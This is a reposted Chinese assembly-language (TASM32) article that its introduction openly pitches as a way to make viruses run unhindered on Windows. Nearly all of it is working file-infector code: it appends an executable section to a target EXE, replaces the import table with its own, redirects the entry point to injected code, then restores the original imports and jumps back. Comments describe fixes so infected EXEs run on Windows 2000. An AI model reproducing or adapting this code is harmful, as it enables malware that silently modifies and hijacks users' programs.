PE引入表修改实战

来源:互联网 发布:十二楼李渔知乎 编辑:程序博客网 时间:2024/06/03 20:32
 用处当然不小,如果你喜欢做病毒的话,利用本文章讲述的方法,可以让你的病毒在WINDOWS下畅通无阻。

;=========================================< 彬 >==
;名 称: PE引入表修改实战
;用 途:
;语 言: TASM32
;日 期: 2002年7月21日
;备 注:
; 引入表部份的代码查阅了Iczelion网站上一些
; 外国朋友的代码,虽然不知道他们是哪国人,不
; 过在此表示感谢!
; --------------------------------------------
; 本代码只供学习使用。
; 如果用于做一些违法违纪的事,本人概不负责!
;=================================================

.386p
.model flat,stdcall
 include win32.inc

 extrn MessageBoxA:proc
 extrn Exitprocess:proc
 extrn GetModuleHandleA:proc
 extrn CreateFileA:proc
 extrn SetFilePointer:proc
 extrn Readfile:proc
 extrn Writefile:proc
 extrn CloseHandle:proc

;本程序中所用到的API函数的声明
;------------------------------------(上面的)--
 GENERIC_READ        equ 80000000h
 GENERIC_WRITE        equ 40000000h
 FILE_SHARE_READ       equ 1h
 FILE_SHARE_WRITE      equ 2h
 OPEN_EXISTING        equ 3
 FILE_ATTRIBUTE_NORMAL    equ 80h
 INVALID_HANDLE_value    equ -1
 FILE_BEGIN         equ 0
 FILE_CURRENT        equ 1
 FILE_END          equ 2

 FILE_ATTRIBUTE_ARCHIVE   equ 20h
 PAGE_READWRITE       equ 4
 FILE_MAP_WRITE       equ SECTION_MAP_WRITE
 SECTION_MAP_WRITE      equ 0002h
;
;文件操作API函数所要用到的相关的常量声明
;------------------------------------(上面的)--
 IMAGE_NUMBEROF_DIRECTORY_ENTRIES equ 16

 IMAGE_DATA_DIRECTORY STRUCT
   VirtualAddress        dword ?
   isize            dword ?
 IMAGE_DATA_DIRECTORY ENDS

 IMAGE_OPTIONAL_HEADER32 STRUCT
   Magic            WORD ?
   MajorLinkerVersion     BYTE ?
   MinorLinkerVersion      BYTE ?
   SizeOfCode          dword ?
   SizeOfInitializedData    dword ?
   SizeOfUninitializedData   dword ?
   AddressOfEntryPoint     dword ?
   BaseOfCode          dword ?
   BaseOfData          dword ?
   ImageBase          dword ?
   SectionAlignment       dword ?
   FileAlignment        dword ?
   MajorOperatingSystemVersion WORD ?
   MinorOperatingSystemVersion WORD ?
   MajorImageVersion      WORD ?
   MinorImageVersion      WORD ?
   MajorSubsystemVersion    WORD ?
   MinorSubsystemVersion    WORD ?
   Win32Versionvalue      dword ?
   SizeOfImage         dword ?
   SizeOfHeaders        dword ?
   CheckSum           dword ?
   Subsystem          WORD ?
   DllCharacteristics      WORD ?
   SizeOfStackReserve      dword ?
   SizeOfStackCommit      dword ?
   SizeOfHeapReserve      dword ?
   SizeOfHeapCommit       dword ?
   LoaderFlags         dword ?
   NumberOfRvaAndSizes     dword ?
   DataDirectory IMAGE_DATA_DIRECTORY IMAGE_NUMBEROF_DIRECTORY_ENTRIES dup(<>)
 IMAGE_OPTIONAL_HEADER32 ENDS

 IMAGE_FILE_HEADER STRUCT
   Machine       WORD ?
   NumberOfSections   WORD ?
   TimeDateStamp     dword ?
   PointerToSymbolTable DWord ?
   NumberOfSymbols    dword ?
   SizeOfOptionalHeader WORD ?
   Characteristics    WORD ?
 IMAGE_FILE_HEADER ENDS

 IMAGE_NT_HEADERS STRUCT
   Signature       dword ?
   FileHeader      IMAGE_FILE_HEADER <>
   OptionalHeader    IMAGE_OPTIONAL_HEADER32 <>
 IMAGE_NT_HEADERS ENDS

; PE文件结构的相关声明
;------------------------------------(上面的)--
 my_section struc
   obj_name    db '.data',0,0,0 ; 块名
   virt_size    dd 0 ; 块长
   virt_addr    dd 0 ; 该块RVA地址
   raw_size    dd 0 ; 该块物理长度
   raw_offset   dd 0 ; 该块物理偏移
   unused     dd 0,0,0 ; 未用
   obj_flags    dd 0E0000020h ; 属性 (r/w/c/x)
 my_section ends

; PE文件节的结构声明(有些值可以事先填好)
;------------------------------------(上面的)--
.data

 buffer db "E:/masm32/vbin/a.exe",0

; 调试时请修改上面这个文件名
;------------------------------------(上面的)--
 PE_head_addr    dd 0
 checker_len     dd 0
 PE_head       IMAGE_NT_HEADERS <0> ; PE文件头的结构
 Section_table    db 280h dup (0)
 Head_len      equ size PE_head+size Section_table ; PE文件头和块表的长度
 Import_len     equ vImport_End-v_ImportA

 new_section my_section <>

 hFile      dd 0
 now_in      dd 0
 now_base     dd 0
 now_basein    dd 0
 byte_read    dd 0
 Section_addr   dd 0

 temp_virt_addr dd 0
 temp_raw_size  dd 0

 Err_Title    db "非法操作",0
 ErrB_str     db "无法填加新节!",0

 OK_Title     db "提示",0
 OK_Msg      db "程序运行完毕!",0

; 稍后要用到的一些变量
;------------------------------------(上面的)--

.code
 start:
  call MakePe
  call MessageBoxA,0,offset OK_Msg,offset OK_Title,64
  call Exitprocess,0

; 通过调用函数来操作吧
;------------------------------------(上面的)--


;-------------------------------------------------
; 下面这个函数,主要功能是填加一个新节、修改PE
; 头、导入自建的引入表、保存原引入表地址
; 大部份内容在我的另一篇文章
; <>
; 中已有说明,详情请见那一篇文章。
; 在此只注释一下特别之处。
;-------------------------------------------------
MakePe proc uses edi esi eax ecx edx ebx

  call CreateFileA,offset buffer,GENERIC_READ or GENERIC_WRITE, /
           FILE_SHARE_READ or FILE_SHARE_WRITE, /
           NULL,OPEN_EXISTING, /
           FILE_ATTRIBUTE_NORMAL,NULL

  .if eax!=INVALID_HANDLE_value
    mov [hFile],eax
    call SetFilePointer,[hFile],3ch,0,FILE_BEGIN
    call ReadFile,[hFile],offset PE_head_addr,4,offset byte_read,0
    .if eax!=0
      call SetFilePointer,[hFile],[PE_head_addr],0,FILE_BEGIN
      call ReadFile,[hFile],offset PE_head,Head_len,offset byte_read,0
      push [PE_head.OptionalHeader.AddressOfEntryPoint]
      pop [now_in]
      push [PE_head.OptionalHeader.ImageBase]
      pop [now_base]
      ;--------------------------------------------
      push [PE_head.OptionalHeader.ImageBase]
      pop [BASE_RVA]
      ;--------------------------------------------
      mov eax,[now_in]
      add eax,[now_base]
      mov [now_basein],eax

      mov [Src_addr],eax

      movzx eax,[PE_head.FileHeader.SizeOfOptionalHeader]
      add eax,18h
      mov [Section_addr],eax

      mov [checker_len],offset vend-offset vstart

      movzx eax,[PE_head.FileHeader.NumberOfSections]
      inc eax
      mov ecx,28h
      mul ecx
      add eax,[Section_addr]
      add eax,[PE_head_addr]

      .if eax>[PE_head.OptionalHeader.SizeOfHeaders]
        call MessageBoxA,0,offset ErrB_str,offset Err_Title,64
       .else
        mov esi,offset Section_table
        ;----------------------------------------------
        pushad
        push esi
        push ecx

        movzx ecx,[PE_head.FileHeader.NumberOfSections]
        loops:
        .if ecx==0
          jmp loopend
        .endif
        or [esi+24h],80000000h
        add esi,28h
        dec ecx
        jmp loops
        loopend:

        pop ecx
        pop esi
        popad

       ; 这篇文章的代码是从我的<>中提
       ; 提出来的,那个软件需要读写PE中的某些节,因
       ; 此我将所有节的属性全部改成符合条件的。
       ; 在本程序中并没有并要做这一步,但还是留下吧。
       ;------------------------------------(上面的)--
        movzx eax,[PE_head.FileHeader.NumberOfSections]
        mov ecx,28h
        mul ecx
        add esi,eax
        inc [PE_head.FileHeader.NumberOfSections]
        mov edi,offset new_section
        xchg edi,esi

        mov eax,[edi-28h+8]
        add eax,[edi-28h+0ch]
       ;--------------------------------------------------
        mov [temp_virt_addr],eax ;存未对齐时的RVA

       ; 保存此值稍后计算 SizeOfImage 值时会用到
       ; 请看观留意下面的代码。
       ;------------------------------------(上面的)--
        mov ecx,[PE_head.OptionalHeader.SectionAlignment]
        cdq
        div ecx
        test edx,edx
        jz nextgoa
        inc eax
        nextgoa:
        mul ecx
        mov [new_section.virt_addr],eax
       ;---------------------------------------------
        mov eax,[PE_head.OptionalHeader.DataDirectory(8).VirtualAddress]
        mov [MI_RVA],eax

       ; 保存原引入表地址
       ;------------------------------------(上面的)--
        push 0
        pop [PE_head.OptionalHeader.DataDirectory(88).VirtualAddress]

       ; IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT清零
       ; 此值必须清为0,否则Win2000中,程序无法正常
       ; 运行。
       ;------------------------------------(上面的)--
        mov eax,v_ImportA-vstart
        add eax,[new_section.virt_addr]
        mov [PE_head.OptionalHeader.DataDirectory(8).VirtualAddress],eax
        mov [PE_head.OptionalHeader.DataDirectory(8).isize],Import_len
        add DWord ptr [v_ImportA],eax
        add DWord ptr [v_DllNameA],eax
        add DWord ptr [v_FThunkA],eax

        add DWord ptr [Ker_API],eax
        add DWord ptr [Ker_API+4],eax
        add DWord ptr [Ker_API+8],eax
        add DWord ptr [Ker_API+0Ch],eax
        add DWord ptr [Ker_API+10h],eax
        add DWord ptr [Ker_API+14h],eax
        add DWord ptr [Ker_API+18h],eax
        add DWord ptr [Ker_API+1Ch],eax
        add DWord ptr [Ker_API+20h],eax
        add DWord ptr [Ker_API+24h],eax
        add DWord ptr [Ker_API+28h],eax
        add DWord ptr [Ker_API+2Ch],eax
        add DWord ptr [Ker_API+30h],eax
        add DWord ptr [Ker_API+34h],eax
        add DWord ptr [Ker_API+38h],eax
        add DWord ptr [Ker_API+3ch],eax
        add DWord ptr [Ker_API+40h],eax

        
        add DWord ptr [vGetprocAddress],eax
        add DWord ptr [vGetModuleHandleA],eax
        add DWord ptr [vLoadLibraryA],eax
        add DWord ptr [vExitprocess],eax
        add DWord ptr [vCreateFileA],eax
        add DWord ptr [vCreateFileMappingA],eax
        add DWord ptr [vGetTempPathA],eax
        add DWord ptr [vGetTempFileNameA],eax
        add DWord ptr [vlstrlen],eax
        add DWord ptr [vMapViewOfFile],eax
        add DWord ptr [vWriteFile],eax
        add DWord ptr [vUnmapViewOfFile],eax
        add DWord ptr [vCloseHandle],eax
        add DWord ptr [vCopyFileA],eax
        add DWord ptr [vGetModuleFileNameA],eax
        add DWord ptr [vDeleteFileA],eax
        add DWord ptr [vWinExec],eax


        add DWord ptr [v_ImportB],eax
        add DWord ptr [v_DllNameB],eax
        add DWord ptr [v_FThunkB],eax

        add DWord ptr [Use_API],eax

        add DWord ptr [vMessageBoxA],eax

       ; 往PE文件中导入自建的PE引入表的信息
       ; 将引入表中相关地址进行定位
       ;------------------------------------(上面的)--
        mov eax,[checker_len]
       ;--------------------------------------------------
        mov [temp_raw_size],eax ;存未对齐时的物理大小

       ; 保存此值稍后计算 SizeOfImage 值时会用到
       ; 请看观留意下面的代码。
       ;------------------------------------(上面的)--
        mov ecx,[PE_head.OptionalHeader.FileAlignment]
        div ecx
        test edx,edx
        jz nextgob
        inc eax
        nextgob:
        mul ecx
        mov [new_section.raw_size],eax

        
        mov eax,[checker_len]
        mov ecx,[PE_head.OptionalHeader.SectionAlignment]
        div ecx
        test edx,edx
        jz nextgoc
        inc eax
        nextgoc:
        mul ecx
        mov [new_section.virt_size],eax

        mov eax,[edi-28h+14h]
        add eax,[edi-28h+10h]
        mov [new_section.raw_offset],eax

       ;-------------------------------------------------------
        mov eax,[new_section.virt_addr]
        add eax,[temp_raw_size]
        mov ecx,[PE_head.OptionalHeader.SectionAlignment]
        div ecx
        test edx,edx
        jz nextgod
        inc eax
        nextgod:
        mul ecx
        mov [PE_head.OptionalHeader.SizeOfImage],eax

       ; 计算SizeOfImage。
       ; 在上篇文章中,有人曾经提到,利用上一篇文章的
       ; 代码在Win2000中感染的EXE文件无法执行,原因是
       ; 因为Win2000对PE文件要求非常严,稍有不对的地
       ; 方,就无法执行,就像这个地方,在计算SizeOfImage
       ; 时要将两个未对齐的数相加后再对齐,然后存入
       ; SizeOfImage才可以在98/2000下一路通。
       ; 上篇文章是将两个数对齐后相加再对齐,虽然在98
       ; 下没问题,但是在2000下却提示:非法EXE文件
       ;------------------------------------(上面的)--
        mov ecx,28h
        rep movsb

        mov eax,[new_section.virt_addr]
        mov [PE_head.OptionalHeader.AddressOfEntryPoint],eax

        call SetFilePointer,[hFile],[PE_head_addr],0,FILE_BEGIN
        call WriteFile,[hFile],offset PE_head,Head_len,offset byte_read,0
        call SetFilePointer,[hFile],[new_section.raw_offset],0,FILE_BEGIN

        mov eax,offset vstart
        call WriteFile,[hFile],eax,[new_section.raw_size],offset 
                byte_read,0
        call CloseHandle,[hFile]
        push 0
        pop [hFile]


      .endif
    .endif
  .endif
  mov eax,0
  .if [hFile]!=eax
    call CloseHandle,[hFile]
  .endif
  ret
MakePe endp


.data
 vstart:
  call nowstart
 nowstart:
  pop ebp
  sub ebp,offset nowstart
 ;--------------------------------------------
  lea eax,[WelComeTitle+ebp]
  push 64
  push eax
  lea eax,[WelComeMsg+ebp]
  push eax
  push 0
  call [vMessageBoxA+ebp]
 ;
 ; 本代码对EXE文件操作后,只显示一个对话框
 ;------------------------------------(上面的)--

  mov edx,[BASE_RVA+ebp] ;通过预先保存的基址和IMPORT地址
  mov esi,[MI_RVA+ebp]  ;得到当前IMPORT地址

  add esi,edx

 Next_DLL:
  mov eax,[esi+0ch] ;读取DLL文件模块
  or eax,eax
  jz Dll_END
  add eax,edx
  mov ebx,eax

  push eax
  call [vGetModuleHandleA+ebp]

  or eax,eax
  jnz Dll_LOADED

  push ebx
  call [vLoadLibraryA+ebp]

  or eax,eax
  jnz Dll_LOADED

 Exit_LOADER:
  lea eax,[MI_ERR_TITLE+ebp]
  push 64
  push eax
  lea eax,[MI_ERR_TEXTS+ebp]
  push eax
  push 0
  call [vMessageBoxA+ebp]
  push 0
  call [vExitprocess+ebp]

 Dll_LOADED:
  mov [hDll+ebp],eax     ;保存模块句柄
  mov [FunTable_Count+ebp],0 ;函数表的索引 两个地址之间相隔一个双字

 Next_FUNCTION:
  mov edx,[BASE_RVA+ebp]
  mov eax,[esi]
  or eax,eax
  jnz Hint_OK
  mov eax,[esi+10h]

 Hint_OK:
  add eax,edx
  add eax,[FunTable_Count+ebp]

  mov ebx,[eax]

 ;;;;;;
  mov edi,[esi+10h]
  add edi,edx
  add edi,[FunTable_Count+ebp]
 ;;;;;;

  test ebx,ebx
  jz Function_END

  test ebx,80000000h
  jnz Function_ORDINAL
  add ebx,edx
  add ebx,2
  jmp Function_GOON
 Function_ORDINAL:
  and ebx,0FFFFFFFh
 Function_GOON:
  push ebx
  push DWord ptr [hDll+ebp]
  call [vGetprocAddress+ebp]

  or eax,eax
  jz Exit_LOADER
  mov [edi],eax
  add [FunTable_Count+ebp],4
  jmp Next_FUNCTION

 Function_END:
  add esi,14h
  mov edx,[BASE_RVA+ebp]
  jmp Next_DLL
 Dll_END:

 ; 程序自已导入原引入表
 ; 大体介绍一下原理吧,先看看当前函数所在的
 ; DLL文件是否已在内存中,不是就载入。
 ; 继而再得到函数的地址,保存之。
 ; 以前我在编写此处时用SoftICE调试了很长时间
 ; 建议你也用SoftICE或TRW2000等类似工具调试
 ; 一下,会受益非浅的。
 ;------------------------------------(上面的)--

 mov eax,[Src_addr+ebp]
 jmp eax

 align 4
  v_ImportA  dd Ker_API-v_ImportA      ;IMAGE_THUNK_DATA 数组指针
  v_TimeDateA dd 0              ;文件建立时间
  v_ForChainA dd 0              ;0
  v_DllNameA dd KerName-v_ImportA      ;DLL名称
  v_FThunkA  dd vGetprocAddress-v_ImportA  ;IMAGE_THUNK_DATA 数组指针

  v_ImportB  dd Use_API-v_ImportA      ;IMAGE_THUNK_DATA 数组指针
  v_TimeDateB dd 0              ;文件建立时间
  v_ForChainB dd 0              ;0
  v_DllNameB dd UserName-v_ImportA      ;DLL名称
  v_FThunkB  dd vMessageBoxA-v_ImportA    ;IMAGE_THUNK_DATA 数组指针

        dd 20 dup (0)          ;引入表结束符

  KerName db 'KERNEL32.DLL',0
  Ker_API dd KAPI_A-v_ImportA
      dd KAPI_B-v_ImportA
      dd KAPI_C-v_ImportA
      dd KAPI_D-v_ImportA
      dd KAPI_E-v_ImportA
      dd KAPI_F-v_ImportA
      dd KAPI_G-v_ImportA
      dd KAPI_H-v_ImportA
      dd KAPI_I-v_ImportA
      dd KAPI_J-v_ImportA
      dd KAPI_K-v_ImportA
      dd KAPI_L-v_ImportA
      dd KAPI_M-v_ImportA
      dd KAPI_N-v_ImportA
      dd KAPI_O-v_ImportA
      dd KAPI_P-v_ImportA
      dd KAPI_Q-v_ImportA
      dd 0


  UserName db 'USER32.DLL',0
  Use_API dd UAPI_A-v_ImportA
      dd 0

  vGetprocAddress   dd 0
  vGetModuleHandleA  dd 0
  vLoadLibraryA    dd 0
  vExitprocess     dd 0
  vCreateFileA     dd 0
  vCreateFileMappingA dd 0
  vGetTempPathA    dd 0
  vGetTempFileNameA  dd 0
  vlstrlen       dd 0
  vMapViewOfFile    dd 0
  vWriteFile      dd 0
  vUnmapViewOfFile   dd 0
  vCloseHandle     dd 0
  vCopyFileA      dd 0
  vGetModuleFileNameA dd 0
  vDeleteFileA     dd 0
  vWinExec       dd 0

  vMessageBoxA dd 0
         dd 0

  KAPI_A db 0,0,'GetprocAddress',0
  KAPI_B db 0,0,'GetModuleHandleA',0
  KAPI_C db 0,0,'LoadLibraryA',0
  KAPI_D db 0,0,'Exitprocess',0
  KAPI_E db 0,0,'CreateFileA',0
  KAPI_F db 0,0,'CreateFileMappingA',0
  KAPI_G db 0,0,'GetTempPathA',0
  KAPI_H db 0,0,'GetTempFileNameA',0
  KAPI_I db 0,0,'lstrlen',0
  KAPI_J db 0,0,'MapViewOfFile',0
  KAPI_K db 0,0,'WriteFile',0
  KAPI_L db 0,0,'UnmapViewOfFile',0
  KAPI_M db 0,0,'CloseHandle',0
  KAPI_N db 0,0,'CopyFileA',0
  KAPI_O db 0,0,'GetModuleFileNameA',0
  KAPI_P db 0,0,'DeleteFileA',0
  KAPI_Q db 0,0,'WinExec',0

  UAPI_A db 0,0,'MessageBoxA',0


 ; 根据引入表的格式,自建的引入表。
 ;------------------------------------(上面的)--
 align 4
 vImport_End:
 ;----------------------------
  MI_RVA     dd 0
  BASE_RVA    dd 0
  hDll dd 0
  FunTable_Count dd 0 ;函数表中的索引
  MI_ERR_TITLE  db "系统错误!",0
  MI_ERR_TEXTS  db "资源无法装入,请与软件供应商联系!",0
 ;----------------------------

  Src_addr    dd 0


  WelComeMsg   db '欢迎光临我的网站 Http://www.vbin.org',0
  WelComeTitle  db '彬 (vBin) 欢迎您!',0


 ; 相关变量
 ;------------------------------------(上面的)--


 vend:
 end start
原创粉丝点击